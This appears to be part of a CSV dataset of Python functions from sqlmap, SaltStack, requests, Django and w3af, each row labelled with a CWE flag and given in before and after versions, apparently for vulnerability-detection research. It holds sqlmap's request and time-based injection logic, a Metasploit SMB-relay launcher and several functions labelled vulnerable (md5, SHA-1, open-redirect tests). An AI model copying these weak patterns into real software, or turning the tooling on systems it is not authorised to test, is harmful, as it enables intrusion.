                                        get = ""%s%s%s=%s"" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                    else:
                                        get = ""%s=%s"" % (token.name, token.value)
                                break

            if not token:
                errMsg = ""anti-CSRF token '%s' can't be found at '%s'"" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
                if not conf.csrfUrl:
                    errMsg += "". You can try to rerun by providing ""
                    errMsg += ""a valid value for option '--csrf-url'""
                raise SqlmapTokenException(errMsg)

            if token:
                token.value = token.value.strip(""'\"""")

                for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
                    if candidate in conf.parameters:
                        if candidate == PLACE.URI and uri:
                            uri = _adjustParameter(uri, token.name, token.value)
                        elif candidate == PLACE.GET and get:
                            get = _adjustParameter(get, token.name, token.value)
                        elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
                            post = _adjustParameter(post, token.name, token.value)

                for i in xrange(len(conf.httpHeaders)):
                    if conf.httpHeaders[i][0].lower() == token.name.lower():
                        conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value)

        if conf.rParam:
            def _randomizeParameter(paramString, randomParameter):
                retVal = paramString
                match = re.search(r""(\A|\b)%s=(?P<value>[^&;]*)"" % re.escape(randomParameter), paramString)
                if match:
                    origValue = match.group(""value"")
                    newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
                    retVal = re.sub(r""(\A|\b)%s=[^&;]*"" % re.escape(randomParameter), ""%s=%s"" % (randomParameter, newValue), paramString)
                else:
                    match = re.search(r""(\A|\b)(%s\b[^\w]+)(?P<value>\w+)"" % re.escape(randomParameter), paramString)
                    if match:
                        origValue = match.group(""value"")
                        newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
                        retVal = paramString.replace(match.group(0), ""%s%s"" % (match.group(2), newValue))
                return retVal

            for randomParameter in conf.rParam:
                for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST):
                    if item in conf.parameters:
                        if item == PLACE.GET and get:
                            get = _randomizeParameter(get, randomParameter)
                        elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post:
                            post = _randomizeParameter(post, randomParameter)
                        elif item == PLACE.COOKIE and cookie:
                            cookie = _randomizeParameter(cookie, randomParameter)
                        elif item == PLACE.URI and uri:
                            uri = _randomizeParameter(uri, randomParameter)

        if conf.evalCode:
            delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
            variables = {""uri"": uri, ""lastPage"": threadData.lastPage, ""_locals"": locals(), ""cookie"": cookie}
            originals = {}

            if not get and PLACE.URI in conf.parameters:
                query = _urllib.parse.urlsplit(uri).query or """"
            else:
                query = None

            for item in filterNone((get, post if not kb.postHint else None, query)):
                for part in item.split(delimiter):
                    if '=' in part:
                        name, value = part.split('=', 1)
                        name = name.strip()
                        if safeVariableNaming(name) != name:
                            conf.evalCode = re.sub(r""\b%s\b"" % re.escape(name), safeVariableNaming(name), conf.evalCode)
                            name = safeVariableNaming(name)
                        value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
                        variables[name] = value

            if cookie:
                for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER):
                    if '=' in part:
                        name, value = part.split('=', 1)
                        name = name.strip()
                        if safeVariableNaming(name) != name:
                            conf.evalCode = re.sub(r""\b%s\b"" % re.escape(name), safeVariableNaming(name), conf.evalCode)
                            name = safeVariableNaming(name)
                        value = urldecode(value, convall=True)
                        variables[name] = value

            while True:
                try:
                    compile(getBytes(re.sub(r""\s*;\s*"", ""\n"", conf.evalCode)), """", ""exec"")
                except SyntaxError as ex:
                    if ex.text:
                        original = replacement = ex.text.strip()

                        if '=' in original:
                            name, value = original.split('=', 1)
                            name = name.strip()
                            if safeVariableNaming(name) != name:
                                replacement = re.sub(r""\b%s\b"" % re.escape(name), safeVariableNaming(name), replacement)
                        else:
                            for _ in re.findall(r""[A-Za-z_]+"", original)[::-1]:
                                if safeVariableNaming(_) != _:
                                    replacement = replacement.replace(_, safeVariableNaming(_))
                                    break

                        if original == replacement:
                            conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, """")
                            break
                        else:
                            conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement)
                    else:
                        break
                else:
                    break

            originals.update(variables)
            evaluateCode(conf.evalCode, variables)

            for variable in list(variables.keys()):
                if unsafeVariableNaming(variable) != variable:
                    value = variables[variable]
                    del variables[variable]
                    variables[unsafeVariableNaming(variable)] = value

            uri = variables[""uri""]
            cookie = variables[""cookie""]

            for name, value in variables.items():
                if name != ""__builtins__"" and originals.get(name, """") != value:
                    if isinstance(value, (int, float, six.string_types, six.binary_type)):
                        found = False
                        value = getUnicode(value, UNICODE_ENCODING)

                        if kb.postHint and re.search(r""\b%s\b"" % re.escape(name), post or """"):
                            if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
                                if re.search(r""<%s\b"" % re.escape(name), post):
                                    found = True
                                    post = re.sub(r""(?s)(<%s\b[^>]*>)(.*?)(</%s)"" % (re.escape(name), re.escape(name)), r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), post)
                                elif re.search(r""\b%s>"" % re.escape(name), post):
                                    found = True
                                    post = re.sub(r""(?s)(\b%s>)(.*?)(</[^<]*\b%s>)"" % (re.escape(name), re.escape(name)), r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), post)

                            regex = r""\b(%s)\b([^\w]+)(\w+)"" % re.escape(name)
                            if not found and re.search(regex, (post or """")):
                                found = True
                                post = re.sub(regex, r""\g<1>\g<2>%s"" % value.replace('\\', r'\\'), post)

                        regex = r""((\A|%s)%s=).+?(%s|\Z)"" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
                        if not found and re.search(regex, (post or """")):
                            found = True
                            post = re.sub(regex, r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), post)

                        if re.search(regex, (get or """")):
                            found = True
                            get = re.sub(regex, r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), get)

                        if re.search(regex, (query or """")):
                            found = True
                            uri = re.sub(regex.replace(r""\A"", r""\?""), r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), uri)

                        regex = r""((\A|%s\s*)%s=).+?(%s|\Z)"" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
                        if re.search(regex, (cookie or """")):
                            found = True
                            cookie = re.sub(regex, r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), cookie)

                        if not found:
                            if post is not None:
                                post += ""%s%s=%s"" % (delimiter, name, value)
                            elif get is not None:
                                get += ""%s%s=%s"" % (delimiter, name, value)
                            elif cookie is not None:
                                cookie += ""%s%s=%s"" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value)

        if not conf.skipUrlEncode:
            get = urlencode(get, limit=True)

        if post is not None:
            if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
                post = getattr(post, UNENCODED_ORIGINAL_VALUE)
            elif postUrlEncode:
                post = urlencode(post, spaceplus=kb.postSpaceToPlus)

        if timeBasedCompare and not conf.disableStats:
            if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
                clearConsoleLine()

                kb.responseTimes.setdefault(kb.responseTimeMode, [])

                if conf.tor:
                    warnMsg = ""it's highly recommended to avoid usage of switch '--tor' for ""
                    warnMsg += ""time-based injections because of inherent high latency time""
                    singleTimeWarnMessage(warnMsg)

                warnMsg = ""[%s] [WARNING] %stime-based comparison requires "" % (time.strftime(""%X""), ""(case) "" if kb.responseTimeMode else """")
                warnMsg += ""%s statistical model, please wait"" % (""larger"" if len(kb.responseTimes) == 1 else ""reset of"")
                dataToStdout(warnMsg)

                while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
                    value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload
                    Connect.queryPage(value=value, content=True, raise404=False)
                    dataToStdout('.')

                dataToStdout("" (done)\n"")

            elif not kb.testMode:
                warnMsg = ""it is very important to not stress the network connection ""
                warnMsg += ""during usage of time-based payloads to prevent potential ""
                warnMsg += ""disruptions ""
                singleTimeWarnMessage(warnMsg)

            if not kb.laggingChecked:
                kb.laggingChecked = True

                deviation = stdev(kb.responseTimes[kb.responseTimeMode])

                if deviation is not None and deviation > WARN_TIME_STDEV:
                    kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE

                    warnMsg = ""considerable lagging has been detected ""
                    warnMsg += ""in connection response(s). Please use as high ""
                    warnMsg += ""value for option '--time-sec' as possible (e.g. ""
                    warnMsg += ""10 or more)""
                    logger.critical(warnMsg)

        if (conf.safeFreq or 0) > 0:
            kb.queryCounter += 1
            if kb.queryCounter % conf.safeFreq == 0:
                if conf.safeUrl:
                    Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
                elif kb.safeReq:
                    Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)

        start = time.time()

        if kb.nullConnection and not content and not response and not timeBasedCompare:
            noteResponseTime = False

            try:
                pushValue(kb.pageCompress)
                kb.pageCompress = False

                if kb.nullConnection == NULLCONNECTION.HEAD:
                    method = HTTPMETHOD.HEAD
                elif kb.nullConnection == NULLCONNECTION.RANGE:
                    auxHeaders[HTTP_HEADER.RANGE] = ""bytes=-1""

                _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))

                if headers:
                    try:
                        if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH):
                            pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
                        elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE):
                            pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
                    except ValueError:
                        pass
            finally:
                kb.pageCompress = popValue()

        if pageLength is None:
            try:
                page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
            except MemoryError:
                page, headers, code = None, None, None
                warnMsg = ""site returned insanely large response""
                if kb.testMode:
                    warnMsg += "" in testing phase. This is a common ""
                    warnMsg += ""behavior in custom WAF/IPS solutions""
                singleTimeWarnMessage(warnMsg)

        if not ignoreSecondOrder:
            if conf.secondUrl:
                page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
            elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or """"):
                def _(value):
                    if kb.customInjectionMark in (value or """"):
                        if payload is None:
                            value = value.replace(kb.customInjectionMark, """")
                        else:
                            value = re.sub(r""\w*%s"" % re.escape(kb.customInjectionMark), payload, value)
                    return value
                page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)

        threadData.lastQueryDuration = calculateDeltaSeconds(start)

        kb.originalCode = code if kb.originalCode is None else kb.originalCode
        kb.originalPage = page if kb.originalPage is None else kb.originalPage

        if kb.testMode:
            kb.testQueryCount += 1

        if timeBasedCompare:
            return wasLastResponseDelayed()
        elif noteResponseTime:
            kb.responseTimes.setdefault(kb.responseTimeMode, [])
            kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
            if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES:
                kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:]

        if not response and removeReflection:
            page = removeReflectiveValues(page, payload)

        kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or """", re.I) is not None

        message = extractRegexResult(PERMISSION_DENIED_REGEX, page or """", re.I)
        if message:
            kb.permissionFlag = True
            singleTimeWarnMessage(""potential permission problems detected ('%s')"" % message)

        patchHeaders(headers)

        if content or response:
            return page, headers, code

        if getRatioValue:
            return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
        else:
            return comparison(page, headers, code, getRatioValue, pageLength)"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_salt_version.py,1,"def test_mocked_objects(self):
        '''
        Test that the mocked objects actually have what we expect.

        For example, earlier tests incorrectly mocked the
        salt.version.SaltStackVersion.LNAMES dict using upper-case indexes
        '''
        assert isinstance(salt.version.SaltStackVersion.LNAMES, dict)
        sv = salt.version.SaltStackVersion(*salt.version.__version_info__)
        for k, v in salt.version.SaltStackVersion.LNAMES.items():
            assert k == k.lower()
            assert isinstance(v, tuple)
            if sv.new_version(major=v[0]):
                assert len(v) == 1
            else:
                assert len(v) == 2

        sv = sv.__str__()
        assert isinstance(sv, six.string_types)

        with patch('salt.version.SaltStackVersion.LNAMES', {'neon': (2019, 8)}):
            sv = salt.version.SaltStackVersion.from_name('Neon')
            self.assertEqual(sv.string, '2019.8.0')",CWE-703,saltstack/salt,4e88c13e20d2bff17e7db1300bbb20a94b8d5416,"def test_mocked_objects(self):
        '''
        Test that the mocked objects actually have what we expect.

        For example, earlier tests incorrectly mocked the
        salt.version.SaltStackVersion.LNAMES dict using upper-case indexes
        '''
        assert isinstance(salt.version.SaltStackVersion.LNAMES, dict)
        for k, v in salt.version.SaltStackVersion.LNAMES.items():
            assert k == k.lower()
            assert isinstance(v, tuple)
            assert len(v) == 2

        sv = salt.version.SaltStackVersion(*salt.version.__version_info__).__str__()
        assert isinstance(sv, six.string_types)

        with patch('salt.version.SaltStackVersion.LNAMES', {'neon': (2019, 8)}):
            sv = salt.version.SaltStackVersion.from_name('Neon')
            self.assertEqual(sv.string, '2019.8.0')"
,UNKNOWN,UNKNOWN,requests/auth.py,1,"def sha_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha1(x).hexdigest()",CWE-327,psf/requests,8bffd3da5f74cfee5c42452a0e441ecc3e18c702,"def sha_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha1(x).hexdigest()"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/win_lgpo/test_admx_policies.py,1,"def test__load_policy_definitions():
    """"""
    Test that unexpected files in the PolicyDefinitions directory won't
    cause the _load_policy_definitions function to explode
    https://gitlab.com/saltstack/enterprise/lock/issues/3826
    """"""
    # The PolicyDefinitions directory should only contain ADMX files. We
    # want to make sure the `_load_policy_definitions` function skips non
    # ADMX files in this directory.
    # Create a bogus ADML file in PolicyDefinitions directory
    bogus_fle = os.path.join(""c:\\Windows\\PolicyDefinitions"", ""_bogus.adml"")
    cache_dir = os.path.join(win_lgpo.__opts__[""cachedir""], ""lgpo"", ""policy_defs"")
    try:
        with salt.utils.files.fopen(bogus_fle, ""w+"") as fh:
            fh.write(""<junk></junk>"")
        # This function doesn't return anything (None), it just loads
        # the XPath structures into __context__. We're just making sure it
        # doesn't stack trace here
        win_lgpo._load_policy_definitions()
        assert True
    finally:
        # Remove source file
        os.remove(bogus_fle)
        # Remove cached file
        search_string = ""{}\\_bogus*.adml"".format(cache_dir)
        for file_name in glob.glob(search_string):
            os.remove(file_name)",CWE-703,saltstack/salt,b656b8cc3b5fe119d87ea1af79e0c6f5b2e6cc0d,"def test__load_policy_definitions():
    """"""
    Test that unexpected files in the PolicyDefinitions directory won't
    cause the _load_policy_definitions function to explode
    https://gitlab.com/saltstack/enterprise/lock/issues/3826
    """"""
    # The PolicyDefinitions directory should only contain ADMX files. We
    # want to make sure the `_load_policy_definitions` function skips non
    # ADMX files in this directory.
    # Create a bogus ADML file in PolicyDefinitions directory
    bogus_fle = os.path.join(""c:\\Windows\\PolicyDefinitions"", ""_bogus.adml"")
    cache_dir = os.path.join(win_lgpo.__opts__[""cachedir""], ""lgpo"", ""policy_defs"")
    try:
        with salt.utils.files.fopen(bogus_fle, ""w+"") as fh:
            fh.write(""<junk></junk>"")
        # This function doesn't return anything (None), it just loads
        # the XPath structures into __context__. We're just making sure it
        # doesn't stack trace here
        result = win_lgpo._load_policy_definitions()
        assert result is None
    finally:
        # Remove source file
        os.remove(bogus_fle)
        # Remove cached file
        search_string = ""{}\\_bogus*.adml"".format(cache_dir)
        for file_name in glob.glob(search_string):
            os.remove(file_name)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/contenttypes/generic.py,0,"def m2m_column_name(self):
        return self.object_id_field_name",CWE-Unknown,django/django,c1584383fa7b83b9c00a40a1f0b367b91f2f7382,"def m2m_column_name(self):
        return self.object_id_field_name"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/views.py,1,"def test_security_check(self, password='password'):
        logout_url = reverse('django.contrib.auth.views.logout')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'https://example.com',
                        'ftp://exampel.com',
                        '//example.com'):
            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': logout_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            self.login()
            response = self.client.get(nasty_url)
            self.assertEqual(response.status_code, 302)
            self.assertFalse(bad_url in response.url,
                             ""%s should be blocked"" % bad_url)
            self.confirm_logged_out()

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://exampel.com',
                         'view/?param=//example.com',
                         'https:///',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': logout_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            self.login()
            response = self.client.get(safe_url)
            self.assertEqual(response.status_code, 302)
            self.assertTrue(good_url in response.url,
                            ""%s should be allowed"" % good_url)
            self.confirm_logged_out()",CWE-259,django/django,95b88fd4ece30536f331f5bba483fe9d937a73ae,"def test_security_check(self, password='password'):
        logout_url = reverse('django.contrib.auth.views.logout')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'https://example.com',
                        'ftp://exampel.com',
                        '//example.com'):
            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': logout_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urlquote(bad_url),
            }
            self.login()
            response = self.client.get(nasty_url)
            self.assertEqual(response.status_code, 302)
            self.assertFalse(bad_url in response.url,
                             ""%s should be blocked"" % bad_url)
            self.confirm_logged_out()

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://exampel.com',
                         'view/?param=//example.com',
                         'https:///',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': logout_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urlquote(good_url),
            }
            self.login()
            response = self.client.get(safe_url)
            self.assertEqual(response.status_code, 302)
            self.assertTrue(good_url in response.url,
                            ""%s should be allowed"" % good_url)
            self.confirm_logged_out()"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        log.info(
            '{0} is starting as user \'{1}\''.format(
                self.__class__.__name__,
                getpass.getuser()
            )
        )
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pub.ipc'.format(id_hash)
                )
        epull_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pull.ipc'.format(id_hash)
                )
        epub_sock = context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pub_port']
                    )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pull_port']
                    )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)

        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        epull_sock = context.socket(zmq.PULL)
        # Bind the event sockets
        epub_sock.bind(epub_uri)
        epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if not self.opts.get('ipc_mode', '') == 'tcp':
            os.chmod(
                    epub_sock_path,
                    448
                    )
            os.chmod(
                    epull_sock_path,
                    448
                    )

        poller = zmq.Poller()
        epoller = zmq.Poller()
        socket = context.socket(zmq.SUB)
        socket.setsockopt(zmq.SUBSCRIBE, '')
        socket.setsockopt(zmq.IDENTITY, self.opts['id'])
        socket.setsockopt(zmq.RECONNECT_IVL_MAX, self.opts['recon_max'])
        socket.connect(self.master_pub)
        poller.register(socket, zmq.POLLIN)
        epoller.register(epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
                'Minion {0} started at {1}'.format(
                    self.opts['id'],
                    time.asctime()
                    ),
                'minion_start'
                )

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()

        while True:
            try:
                socks = dict(poller.poll(60000))
                if socket in socks and socks[socket] == zmq.POLLIN:
                    payload = self.serial.loads(socket.recv())
                    self._handle_payload(payload)
                time.sleep(0.05)
                multiprocessing.active_children()
                self.passive_refresh()
                # Check the event system
                if epoller.poll(1):
                    try:
                        package = epull_sock.recv(zmq.NOBLOCK)
                        epub_sock.send(package)
                    except Exception:
                        pass
            except Exception:
                log.critical(traceback.format_exc())",CWE-327,saltstack/salt,07de7ff6f5e4268cd084c4f73da6946de3e5c751,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        log.info(
            '{0} is starting as user \'{1}\''.format(
                self.__class__.__name__,
                getpass.getuser()
            )
        )
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pub.ipc'.format(id_hash)
                )
        epull_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pull.ipc'.format(id_hash)
                )
        epub_sock = context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pub_port']
                    )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pull_port']
                    )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)

        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        epull_sock = context.socket(zmq.PULL)
        # Bind the event sockets
        epub_sock.bind(epub_uri)
        epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if not self.opts.get('ipc_mode', '') == 'tcp':
            os.chmod(
                    epub_sock_path,
                    448
                    )
            os.chmod(
                    epull_sock_path,
                    448
                    )

        poller = zmq.Poller()
        epoller = zmq.Poller()
        socket = context.socket(zmq.SUB)
        socket.setsockopt(zmq.SUBSCRIBE, '')
        socket.setsockopt(zmq.IDENTITY, self.opts['id'])
        socket.connect(self.master_pub)
        poller.register(socket, zmq.POLLIN)
        epoller.register(epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
                'Minion {0} started at {1}'.format(
                    self.opts['id'],
                    time.asctime()
                    ),
                'minion_start'
                )

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()

        while True:
            try:
                socks = dict(poller.poll(60000))
                if socket in socks and socks[socket] == zmq.POLLIN:
                    payload = self.serial.loads(socket.recv())
                    self._handle_payload(payload)
                time.sleep(0.05)
                multiprocessing.active_children()
                self.passive_refresh()
                # Check the event system
                if epoller.poll(1):
                    try:
                        package = epull_sock.recv(zmq.NOBLOCK)
                        epub_sock.send(package)
                    except Exception:
                        pass
            except Exception:
                log.critical(traceback.format_exc())"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/modules/test_win_snmp.py,0,"def test_get_auth_traps_enabled(self):
        '''
        Test - Determine whether the host is configured to send authentication traps.
        '''
        mock_value = MagicMock(return_value={'vdata': 1})
        with patch.dict(win_snmp.__salt__, {'reg.read_value': mock_value}):
            self.assertTrue(win_snmp.get_auth_traps_enabled())",,saltstack/salt,abe608d73961ca07cfca8eeb6fd6f131bc066e1a,"def test_get_auth_traps_enabled(self):
        '''
        Test - Determine whether the host is configured to send authentication traps.
        '''
        mock_value = MagicMock(return_value={'vdata': 1})
        with patch.dict(win_snmp.__salt__, {'reg.read_value': mock_value}):
            self.assertTrue(win_snmp.get_auth_traps_enabled())"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/infrastructure/http_vs_https_dist.py,0,,,andresriancho/w3af,df1e7c338f08dabece5bde0e805258f564deaa18,"def discover(self, fuzzable_request):
        """"""
        Discovery task. Uses scapy.traceroute function in order to determine
        the distance between http and https ports for the target.
        Intended to be executed once during the infrastructure process.
        """"""
        if not self._has_permission():
            om.out.error(PERM_ERROR_MSG)
            return

        def set_info(name, desc):
            i = Info(name, desc, 1, self.get_name())
            kb.kb.append(self, 'http_vs_https_dist', i)

        target_url = fuzzable_request.get_url()
        domain = target_url.get_domain()
        http_port = self._http_port
        https_port = self._https_port

        # Use target port if specified
        netloc = target_url.get_net_location()
        try:
            port = int(netloc.split(':')[-1])
        except ValueError:
            pass  # Nothing to do.
        else:
            protocol = target_url.get_protocol()
            if protocol == 'https':
                https_port = port
            else:  # it has to be 'http'
                http_port = port

        # Import things from scapy when I need them in order to reduce memory
        # usage (which is specially big in scapy module, just when importing)
        from scapy.all import traceroute

        try:
            # pylint: disable=E1124,E1136

            # First try with httpS
            https_troute = traceroute(domain, dport=https_port)[0].get_trace()
            # Then with http
            http_troute = traceroute(domain, dport=http_port)[0].get_trace()

            # pylint: enable=E1124,E1136
        except:
            # I've seen numerous bug reports with the following exception:
            # ""error: illegal IP address string passed to inet_aton""
            # that come from this part of the code. It seems that in some cases
            # the domain resolves to an IPv6 address and scapy does NOT
            # support that protocol.
            return

        # This destination was probably 'localhost' or a host reached
        # through a vpn?
        if not (https_troute and http_troute):
            return

        https_ip_tuples = https_troute.values()[0].values()
        last_https_ip = https_ip_tuples[-1]
        http_ip_tuples = http_troute.values()[0].values()
        last_http_ip = http_ip_tuples[-1]

        # Last IP should be True; otherwise the dest wasn't reached
        # Tuples have the next form: ('192.168.1.1', False)
        if not (last_https_ip[1] and last_http_ip[1]):
            desc = _('The port \'%s\' is not open on target %s')
            if not last_https_ip[1]:
                om.out.error(desc % (https_port, domain))
            if not last_http_ip[1]:
                om.out.error(desc % (http_port, domain))
        else:
            trace_str = lambda iptuples: '\n'.join('    %s %s' %
                                                  (t[0], t[1][0]) for t in enumerate(iptuples))

            if http_ip_tuples != https_ip_tuples:
                header = '  TCP trace to %s:%s\n%s'

                trc1 = header % (domain, http_port, trace_str(http_ip_tuples))
                trc2 = header % (
                    domain, https_port, trace_str(https_ip_tuples))

                desc = 'Routes to target ""%s"" using ports %s and ' \
                       '%s are different:\n%s\n%s'
                desc = desc % (domain, http_port, https_port, trc1, trc2)
                set_info('HTTP and HTTPs hop distance', desc)
                om.out.information(desc)
            else:
                desc = 'The routes to the target\'s HTTP and HTTPS ports are' \
                       ' the same:\n%s' % trace_str(http_ip_tuples)
                set_info('HTTP traceroute', desc)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/metasploit.py,0,"def _runMsfCliSmbrelay(self):
        self._forgeMsfCliCmdForSmbrelay()

        infoMsg = ""running Metasploit Framework command line ""
        infoMsg += ""interface locally, please wait..""
        logger.info(infoMsg)

        logger.debug(""executing local command: %s"" % self._cliCmd)
        self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)",,sqlmapproject/sqlmap,e48181e28d88f044dfff104fa4027b18f2cd62d5,"def _runMsfCliSmbrelay(self):
        self._forgeMsfCliCmdForSmbrelay()

        infoMsg = ""running Metasploit Framework command line ""
